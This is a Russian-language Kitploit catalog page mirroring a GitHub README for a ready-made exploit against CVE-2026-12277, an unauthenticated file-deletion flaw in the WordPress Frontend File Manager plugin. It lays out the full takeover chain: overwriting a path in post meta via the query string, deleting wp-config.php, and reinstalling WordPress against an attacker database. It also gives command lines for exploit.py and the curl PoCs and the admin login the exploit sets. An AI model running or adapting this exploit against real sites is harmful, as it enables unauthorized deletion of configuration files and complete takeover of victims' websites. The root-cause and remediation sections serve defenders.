Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-12277 — Плагин Frontend File Manager (WordPress) <= 23.6 - Неавторизованное произвольное удаление файлов, ведущее к удаленному выполнению кода (RCE) | Kitploit
Инструменты/GitHubGitHub/moritakaaz/cve-2026-12277
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubmoritakaaz/cve-2026-12277

CVE-2026-12277

Плагин Frontend File Manager (WordPress) <= 23.6 - Неавторизованное произвольное удаление файлов, ведущее к удаленному выполнению кода (RCE)

Репозиторий
22 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-12277

Плагин Frontend File Manager (WordPress) <= 23.6 – Неаутентифицированное произвольное удаление файлов до RCE

Сводка

ПолеЗначение
CVECVE-2026-12277
ПлагинFrontend File Manager Plugin (nmedia-user-file-uploader)
Затронутые версии<= 23.6
ТипНеаутентифицированное произвольное удаление файлов
CVSS8.7 (HIGH)
CWECWE-73 (Внешний контроль имени файла или пути)
Предварительное условиеВключён режим загрузки гостями
ПатчНет (по состоянию на июль 2026)
ИсследовательChamseddine Bouzaiene

Причина уязвимости

Плагин хранит пути загруженных файлов в метаданных записи (wpfm_dir_path). AJAX-эндпоинт wpfm_file_meta_update:

  1. Имеет отключённую проверку nonce (закомментирована, строки 769-771 в files.php)
  2. Зарегистрирован как nopriv (доступен без аутентификации)
  3. Защита с помощью unset($_REQUEST['wpfm_dir_path']) может быть обойдена из-за особенностей PHP request_order (отправка через строку запроса)

Когда вызывается wpfm_delete_file, он читает wpfm_dir_path из метаданных записи и вызывает unlink() без проверки пути.

Уязвимые эндпоинты

AJAX-действиеТребуется nonceТребуется аутентификацияnopriv
wpfm_file_meta_updateНЕТ (закомментирована)НетДа (всегда)
wpfm_delete_fileДаНетДа (всегда)
wpfm_upload_fileДаНетДа (если включена загрузка гостями)

Цепочка эксплуатации

root@kitploit:~
1. Обнаружение плагина + включена загрузка гостями
2. Автоматическое извлечение AJAX nonce со страницы (скрытое поле ввода)
3. Загрузка файла как гость ИЛИ брутфорс существующего ID записи
4. Перезапись wpfm_dir_path через обход строки запроса → указание на wp-config.php
5. Запуск wpfm_delete_file → unlink(wp-config.php)
6. WordPress переходит в режим установки (setup-config.php)
7. Завершение установки с контролируемой злоумышленником базой данных
8. Вход как админ → полный захват

Файлы

ФайлОписание
exploit.pyПолный эксплойт на Python (обнаружение → эксплуатация → захват)
poc_curl.shPoC на Bash/curl (Linux)
poc_curl.ps1PoC на PowerShell/curl (Windows)
lists.txtЦелевые URL (по одному на строку, для пакетного режима)
requirements.txtЗависимости Python

Использование

Эксплойт на Python (полностью автоматический)

root@kitploit:~
# Install dependencies
pip install -r requirements.txt

# Full auto exploit (nonce auto-detected)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root

# Detection only
python exploit.py -u http://target.com --detect-only

# With manual nonce (if auto-detect fails)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4

# With Burp proxy
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080

# Custom attacker DB config
python exploit.py -u http://target.com \
    -p /var/www/html/wp-config.php \
    --dbname pwned_db \
    --dbuser root \
    --dbpass secret \
    --dbhost localhost

После эксплуатации – Вход

После успешного выполнения эксплойта войдите в админку WordPress:

root@kitploit:~
URL:      http://target.com/wp-login.php
Username: shac1x
Password: Sh4c1x_Pwn3d!

PoC на curl (Bash)

root@kitploit:~
bash poc_curl.sh http://target.com

PoC на curl (PowerShell)

root@kitploit:~
.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"

Аргументы

АргументОбязательныйОписание
-u, --urlДаЦелевой URL WordPress
-p, --pathНетАбсолютный путь к wp-config.php на сервере
--nonceНетAJAX nonce (пропустить автоматическое извлечение)
--dbnameНетИмя базы данных злоумышленника (по умолчанию: wp_pwned)
--dbuserНетПользователь базы данных злоумышленника (по умолчанию: root)
--dbpassНетПароль базы данных злоумышленника
--dbhostНетХост базы данных злоумышленника (по умолчанию: localhost)
--proxyНетHTTP-прокси (например, http://127.0.0.1:8080)
--timeoutНетТаймаут запроса в секундах (по умолчанию: 15)
--detect-onlyНетТолько обнаружение уязвимости, без эксплуатации

Как работает автоматическое извлечение nonce

Эксплойт автоматически ищет wpfm_ajax_nonce в:

  1. Обычные слагы страниц: /file-manager/, /upload/, /files/, /file-upload/ и т.д.
  2. Прямой файл: /file-manager.php
  3. Все внутренние ссылки на главной странице (обход)
  4. WP REST API (/wp-json/)

Nonce отображается как скрытое поле ввода:

root@kitploit:~
<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />

Или в локализованном JavaScript:

root@kitploit:~
var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};

Техника обхода пути

Код выполняет unset($_REQUEST['wpfm_dir_path']), чтобы предотвратить прямую перезапись. Обход:

  1. Внедрение в строку запроса: Отправка wpfm_dir_path через параметр URL, в то время как другие данные передаются в теле POST. Поведение объединения $_REQUEST в PHP позволяет сохранить значение в зависимости от конфигурации request_order.

  2. Предварительная установка во время загрузки: Мета wpfm_dir_path устанавливается в хуках начальной загрузки файла. Если эксплуатировать на этом этапе, обход не требуется.

Протестированная среда

КомпонентВерсия
WordPress6.9.4
PHP8.2.12
ПлагинFrontend File Manager 23.6
ОСWindows (XAMPP) / Linux
РезультатПолный захват подтверждён

Ссылки на уязвимый код

Nonce отключён (inc/files.php:769-771)

root@kitploit:~
/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
    wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/

Произвольная запись мета (inc/files.php:787-795)

root@kitploit:~
$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
    update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}

Обход авторизации (inc/files.php:690-693)

root@kitploit:~
$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
    wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// When guest upload ON → !$allow_guest = false → entire check SKIPPED

Непроверенное удаление (inc/file.class.php:729-753)

root@kitploit:~
function delete_file_locally() {
    $file_path = $this->path;  // from wpfm_dir_path meta - NO VALIDATION
    if (file_exists($file_path)) {
        unlink($file_path);    // ARBITRARY FILE DELETION
    }
}

Разрешение пути (inc/file.class.php:172-184)

root@kitploit:~
function path() {
    $file_dir_path = null;
    if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
        $file_dir_path = $this->legacy->path();  // fallback: upload_dir + wpfm_file_name
    }
    if( ! is_file($file_dir_path) ) {
        $file_dir_path = null;
    }
    return $file_dir_path;  // NO canonicalization, NO realpath check
}

Устранение

  • Раскомментировать проверку nonce в wpfm_file_meta_update
  • Проверять wpfm_dir_path относительно каталога загрузки с помощью realpath() + проверка префикса
  • Никогда не допускать пользовательский ввод в путях удаления файлов
  • Добавить надлежащие проверки авторизации, не зависящие от настройки загрузки гостями

Отказ от ответственности

Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам незаконен. Всегда получайте письменное разрешение перед тестированием.

Скачать инструмент